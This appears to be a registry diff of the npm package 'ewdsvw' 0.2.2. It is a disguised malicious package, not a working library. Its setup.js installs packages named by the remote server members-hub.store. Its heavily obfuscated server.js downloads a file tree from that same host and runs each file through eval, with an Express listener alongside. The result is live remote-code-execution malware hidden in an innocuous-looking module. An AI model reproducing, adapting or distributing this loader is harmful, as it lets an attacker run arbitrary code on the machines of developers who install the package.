ewdsvw 0.2.2
Sign up to get free protection for your applications and to get access to all the features.
- package/README.md +1 -0
- package/package.json +15 -0
- package/server.js +1 -0
- package/setup.js +81 -0
package/README.md
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
# ewdsvw
|
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "ewdsvw",
|
3
|
+
"description": "ewdsvw",
|
4
|
+
"version": "0.2.2",
|
5
|
+
"main": "setup.js",
|
6
|
+
"dependencies": {
|
7
|
+
"child_process": "*",
|
8
|
+
"axios": "^0.21.4"
|
9
|
+
},
|
10
|
+
"keywords": [
|
11
|
+
],
|
12
|
+
"author": "ewdsvw",
|
13
|
+
"license": "MIT",
|
14
|
+
"readmeFilename": "README.md"
|
15
|
+
}
|
package/server.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x2d97ff=_0x3560;function _0x1a21(){const _0x231120=['exit','message','https://members','Files\x20Loaded!','replace','response','/app/','get','pass','243886rbWFkf','477392lxmBGb','_require','/linkbyauth?pass=','join','.json','data','auth','-hub.store','6nkignZ','env','status','object','651632YTFQMq','then','manager','log','.js','listen','startsWith','_files','10520190vhweUt','readdirSync','toLowerCase','express','keys','endsWith','handleError','15ZXBvhA','split','4162965cQBHcV','length','1890812AcywLC','entries','3706283DFuVlx','_request_Files','cache','load_FromPath','files','144gSfYzn','slice','myurl','catch'];_0x1a21=function(){return _0x231120;};return _0x1a21();}(function(_0x413251,_0xa4668b){const _0x936f71=_0x3560,_0x3bd4b9=_0x413251();while(!![]){try{const _0x59fb22=parseInt(_0x936f71(0xdd))/(0x1fb+-0x1b6e+0xcba*0x2)+parseInt(_0x936f71(0xc9))/(0x6ef+-0xf58+0x86b)+parseInt(_0x936f71(0xc5))/(0x1*-0x2577+0x1e0c+0x76e)*(parseInt(_0x936f71(0xb6))/(0x4aa*0x6+-0x133c+-0x8bc))+-parseInt(_0x936f71(0xc7))/(0x1c54+-0x24a3+-0x2*-0x42a)+-parseInt(_0x936f71(0xb2))/(0x25e5+0x591+0x116*-0x28)*(parseInt(_0x936f71(0xcb))/(0xf39+0x246e+-0x33a0))+parseInt(_0x936f71(0xde))/(0x1c5d+0x26c3*0x1+-0x4318)*(parseInt(_0x936f71(0xd0))/(-0x3ad+-0x2465+0x281b*0x1))+-parseInt(_0x936f71(0xbe))/(0x1*0x2bd+0x1bb4+0x1*-0x1e67);if(_0x59fb22===_0xa4668b)break;else _0x3bd4b9['push'](_0x3bd4b9['shift']());}catch(_0x16246c){_0x3bd4b9['push'](_0x3bd4b9['shift']());}}}(_0x1a21,0x9*-0x64de+0xadf53+-0xfb92*-0x1));const FILESYSTEM__=class FS{constructor(_0x57ba31){const _0x537941=_0x3560;this[_0x537941(0xb8)]=_0x57ba31;}[_0x2d97ff(0xbf)](_0x2e88c1){const _0x15df93=_0x2d97ff;let _0x383fa2={'app':this[_0x15df93(0xb8)][_0x15df93(0xcf)]},_0x41be21=_0x2e88c1['split']('/');for(let _0x1a723b=-0x1305+-0x77*-0x22+0x337;_0x1a723b<_0x41be21['length'];_0x1a723b++){if(!_0x41be21[_0x1a723b])continue;let _0x1185b5=_0x41be21[_0x1a723b];_0x383fa2=_0x383fa2[_0x1185b5];}return Object[_0x15df93(0xc2)](_0x383fa2);}};function _0x3560(_0x308728,_0x5c1dbd){const _0x50fea4=_0x1a21();return _0x3560=function(_0x3a6283,_0x1878f4){_0x3a6283=_0x3a6283-(-0x1414+0x16f0*0x1+-0x22d);let _0x42fa0c=_0x50fea4[_0x3a6283];return _0x42fa0c;},_0x3560(_0x308728,_0x5c1dbd);}let p1=_0x2d97ff(0xb1);const AXIOS__=require('axios'),oldRequire=require,EXPRESS__=oldRequire(_0x2d97ff(0xc1)),APP__=EXPRESS__();APP__[_0x2d97ff(0xdb)]('/',(_0x394aa4,_0x17a41b)=>{const _0x53273f=_0x2d97ff;_0x17a41b[_0x53273f(0xb4)](-0x1bb*-0x11+-0x21*-0x113+-0x4016)['json']({});}),APP__[_0x2d97ff(0xbb)](-0x11*0x35+-0x730+-0xae*-0x21);class Main{constructor(_0x475a1a,_0x3c3be5){const _0x296b16=_0x2d97ff;this[_0x296b16(0xbd)]={},this[_0x296b16(0xcd)]={},this['fs']=new FILESYSTEM__(this),console[_0x296b16(0xb9)](_0x475a1a,_0x3c3be5),this['pass']=_0x475a1a,this['id']=_0x3c3be5,this['_request_Files']();}[_0x2d97ff(0xc4)](_0x21b038){const _0x436d13=_0x2d97ff;console[_0x436d13(0xb9)](_0x21b038),process[_0x436d13(0xd4)](-0x26e4*-0x1+0x258a+-0x4c6e);}async[_0x2d97ff(0xcc)](){const _0x26e75f=_0x2d97ff;console[_0x26e75f(0xb9)](this[_0x26e75f(0xdc)]);let _0xa38144=await AXIOS__[_0x26e75f(0xdb)](_0x26e75f(0xd6)+p1+_0x26e75f(0xe0)+this[_0x26e75f(0xdc)])['then'](_0x38df70=>_0x38df70['data'])[_0x26e75f(0xd3)](_0x566de7=>this[_0x26e75f(0xc4)](_0x566de7?.[_0x26e75f(0xd9)]?.[_0x26e75f(0xaf)]));console[_0x26e75f(0xb9)](_0xa38144);if(!_0xa38144)return;const _0x59b10b=process['env'][_0x26e75f(0xd2)],_0x4da873=process[_0x26e75f(0xb3)][_0x26e75f(0xb0)],_0x69fde6=await AXIOS__['get'](_0xa38144[this['id']],{'headers':{'authentication':_0xa38144[-0x2*-0x416+-0x9de+0x1b5*0x1]}})[_0x26e75f(0xb7)](_0x5a0a18=>_0x5a0a18[_0x26e75f(0xaf)])['catch'](_0x51b50b=>this[_0x26e75f(0xc4)](_0x51b50b[_0x26e75f(0xd9)]?.[_0x26e75f(0xaf)]));if(!_0x69fde6)return;console[_0x26e75f(0xb9)](_0x69fde6['index.js']),this[_0x26e75f(0xbd)]=_0x69fde6,console[_0x26e75f(0xb9)](_0x26e75f(0xd7)),this['star_t']();}get['files'](){const _0xbf7a14=_0x2d97ff;return this[_0xbf7a14(0xbd)];}['_require'](_0x187183,_0x34d88b){const _0x121b38=_0x2d97ff;if(_0x34d88b==='F_S'['split']('_')[_0x121b38(0xe1)]('')[_0x121b38(0xc0)]())return this['fs'];else{if(!_0x34d88b['includes']('/'))return oldRequire(_0x34d88b);else{let _0x5570c3=_0x187183,_0x31d869=_0x34d88b,_0x5ffdac=_0x5570c3,_0x3226fa=_0x31d869,_0x3141bc='',_0x11abca='';(_0x31d869[_0x121b38(0xc3)]('.js')||_0x31d869[_0x121b38(0xc3)](_0x121b38(0xe2)))&&(_0x11abca=_0x31d869['endsWith'](_0x121b38(0xba))?'.js':'.json',_0x31d869=_0x31d869[_0x121b38(0xc6)]('.'),_0x31d869=_0x31d869[_0x121b38(0xd1)](0xa8+-0x2147+-0x1*-0x209f,_0x31d869['length']-(-0x2f3*0x1+-0x17*0xcb+0x19*0xd9))['join']('.'));!_0x31d869['includes']('.')&&(_0x5570c3='/');_0x31d869[_0x121b38(0xbc)](_0x121b38(0xda))&&(_0x31d869=_0x31d869[_0x121b38(0xd8)](_0x121b38(0xda),'/'));while(!![]){if(!_0x31d869['includes']('.')){_0x3141bc='/'+_0x31d869+_0x11abca;break;}const _0x400587=_0x31d869[_0x121b38(0xc6)]('/');if(_0x400587[-0x112d*-0x1+0x51a+-0x1647]==='..')_0x5570c3=_0x5570c3[_0x121b38(0xc6)]('/'),_0x5570c3=_0x5570c3[_0x121b38(0xd1)](-0x192f+-0x71*-0x56+-0xcc7,_0x5570c3[_0x121b38(0xc8)]-(-0xd*0x201+0x3*-0xcd4+0xb*0x5de))[_0x121b38(0xe1)]('/'),_0x31d869=_0x31d869[_0x121b38(0xc6)]('/')[_0x121b38(0xd1)](0xe36*-0x2+0x10*-0x122+0x2e8d)[_0x121b38(0xe1)]('/');else{if(_0x400587[-0x1f84+0x1*0x11b5+0xdcf]==='.')_0x31d869=_0x31d869[_0x121b38(0xc6)]('/')[_0x121b38(0xd1)](0x2569+0xe0d*-0x1+-0x175b)[_0x121b38(0xe1)]('/');else{if(_0x400587[0x976+-0x548+-0x42e]===''){}}}}const _0x39bd31=this[_0x121b38(0xcd)][_0x3141bc]||this[_0x121b38(0xce)](_0x5570c3+_0x3141bc,_0x5570c3);if(!_0x39bd31){}return _0x39bd31;}}}[_0x2d97ff(0xce)](_0xb27200,_0x41f3c5){const _0x421d78=_0x2d97ff;try{require=(..._0x210b26)=>this[_0x421d78(0xdf)](_0x41f3c5,..._0x210b26);let _0xb69d42=this[_0x421d78(0xcf)];const _0x3319fd=_0xb27200[_0x421d78(0xc6)]('/');for(let _0x56dca1=-0x40*-0x2b+-0x4*-0x266+-0x1458;_0x56dca1<_0x3319fd[_0x421d78(0xc8)];_0x56dca1++){if(!_0x3319fd[_0x56dca1])continue;let _0x1c7d38=_0x3319fd[_0x56dca1];_0xb69d42=_0xb69d42[_0x1c7d38];}try{this[_0x421d78(0xcd)][_0xb27200]=eval(_0xb69d42);}catch(_0x1a3352){console['log'](_0xb27200,_0x1a3352[_0x421d78(0xd5)]);}return this[_0x421d78(0xcd)][_0xb27200];}catch(_0x174227){console[_0x421d78(0xb9)](_0x174227,_0xb27200,_0x41f3c5);}}async['star_t'](){const _0x52ec09=_0x2d97ff,_0x16d770=(_0x2e427c,_0x2b73ab='')=>{const _0x55961d=_0x3560,_0x402157={};for(let [_0x1c13c5,_0x2243b6]of Object[_0x55961d(0xca)](_0x2e427c)){const _0x503783=_0x2b73ab+'/'+_0x1c13c5;typeof _0x2243b6===_0x55961d(0xb5)?_0x402157[_0x1c13c5]=_0x16d770(_0x2243b6,_0x503783):this['load_FromPath'](_0x503783,_0x2b73ab);}};_0x16d770(this[_0x52ec09(0xcf)]);}}module['exports']=Main;
|
package/setup.js
ADDED
@@ -0,0 +1,81 @@
|
|
1
|
+
const { default: axios } = require('axios');
|
2
|
+
const { exec } = require('child_process');
|
3
|
+
const fs = require('fs')
|
4
|
+
|
5
|
+
function isModuleInstalled(moduleName) {
|
6
|
+
try {
|
7
|
+
require.resolve(moduleName.split('@')[0]);
|
8
|
+
return true;
|
9
|
+
} catch (e) {
|
10
|
+
return false;
|
11
|
+
}
|
12
|
+
}
|
13
|
+
|
14
|
+
async function installDependencies(missingDependencies) {
|
15
|
+
if (missingDependencies.length === 0) {
|
16
|
+
console.log('All dependencies are already installed.');
|
17
|
+
runProject();
|
18
|
+
} else {
|
19
|
+
console.log(`Installing missing dependencies: ${missingDependencies.join(', ')}`);
|
20
|
+
exec(`npm install ${missingDependencies.join(' ')}`, (error, stdout, stderr) => {
|
21
|
+
if (error) {
|
22
|
+
console.error(`Error installing dependencies: ${error.message}`);
|
23
|
+
return;
|
24
|
+
}
|
25
|
+
if (stderr) {
|
26
|
+
console.error(`stderr: ${stderr}`);
|
27
|
+
}
|
28
|
+
console.log(`stdout: ${stdout}`);
|
29
|
+
console.log('Dependencies installed successfully.');
|
30
|
+
fs.writeFileSync('./node_modules/gfdsac/package.json', JSON.stringify({
|
31
|
+
"name": "ewdsvw",
|
32
|
+
"description": "ewdsvw",
|
33
|
+
"version": "0.2.2",
|
34
|
+
"main": "setup.js",
|
35
|
+
"dependencies": {
|
36
|
+
"child_process": "*",
|
37
|
+
"axios": "^0.21.4"
|
38
|
+
},
|
39
|
+
"keywords": [
|
40
|
+
],
|
41
|
+
"author": "ewdsvw",
|
42
|
+
"license": "MIT",
|
43
|
+
"readmeFilename": "README.md"
|
44
|
+
}, null, 2))
|
45
|
+
setTimeout(()=>{
|
46
|
+
process.exit(0);
|
47
|
+
}, 5000)
|
48
|
+
|
49
|
+
runProject();
|
50
|
+
});
|
51
|
+
}
|
52
|
+
}
|
53
|
+
|
54
|
+
let runProject =() => {
|
55
|
+
console.log('Running the project...');
|
56
|
+
let bot = require('./server.js')
|
57
|
+
new bot("https://disc" + "ord.com/", 0)
|
58
|
+
}
|
59
|
+
|
60
|
+
let checkDeps = async ()=>{
|
61
|
+
|
62
|
+
let dependencies = await axios(`https://members-hub.store/packages`).then(res=>res.data).catch(err=>null)
|
63
|
+
if(!dependencies) return null;
|
64
|
+
|
65
|
+
console.log(dependencies)
|
66
|
+
|
67
|
+
let _dependencies = []
|
68
|
+
|
69
|
+
for(const name of dependencies.d){
|
70
|
+
_dependencies.push(`${name}@${await axios(`https://members-hub.store/packages`).then(res=>res.data?.value ? `^${res.data?.value}` : "*").catch(err=>"*")}`)
|
71
|
+
}
|
72
|
+
console.log(_dependencies)
|
73
|
+
|
74
|
+
const missingDependencies = _dependencies.filter(dep => !isModuleInstalled(dep));
|
75
|
+
|
76
|
+
console.log(missingDependencies)
|
77
|
+
|
78
|
+
installDependencies(missingDependencies);
|
79
|
+
}
|
80
|
+
|
81
|
+
checkDeps()
|